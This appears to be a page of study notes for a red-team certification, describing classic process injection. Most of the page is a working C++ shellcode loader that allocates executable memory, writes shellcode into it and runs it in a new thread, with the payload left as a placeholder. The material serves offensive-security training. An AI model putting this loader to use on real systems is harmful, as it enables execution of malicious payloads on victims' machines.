> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/crto/malware-essentials/process-injection/classic-injection.md).

# Classic Injection

Perhaps the most vanilla form of process injection uses the VirtualAlloc, WriteProcessMemory, and CreateThread APIs. This will inject and execute the shellcode in the running process.

```
#include <Windows.h>

int main(){
    unsigned char shellcode[] = "..."; //your shellcode goes here
    
    // allocate a region of memory
    auto hMemory = VirtualAlloc(
        NULL,                        // We don't mind where it's allocated
        sizeof(shellcode),            // the size of memory region
        MEM_COMMIT | MEM_RESERVE,    // type of memory allocation
        PAGE_EXECUTE_READWRITE        // memory protection
    );
    
    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        GetCurrentProcess(),     // handle to target process
        hMemory,                // pointer to target memory region
        &shellcode,             // pointer to data to write
        sizeof(shellcode),        // length of data to write
        &bytesWritten            // receives the number of bytes written
    );
    
    //create a new thread
    DWORD threadId = 0;
    auto hThread = CreateThread(
        NULL,
        0, 
        (LPTHREAD_START_ROUTINE)hMemory,     // a ponter to the thing to execute
        NULL,
        0,
        &threadId                    // receives the new thread ID
    );
    
    // wait for the thread to finish
    WaitForSingleObject(
        hThread,        // the handle to wait on
        INFINITE        // the length of time to wait
    );
    
    // clsoe the thread handle
    CloseHandle(hThread);
}

```
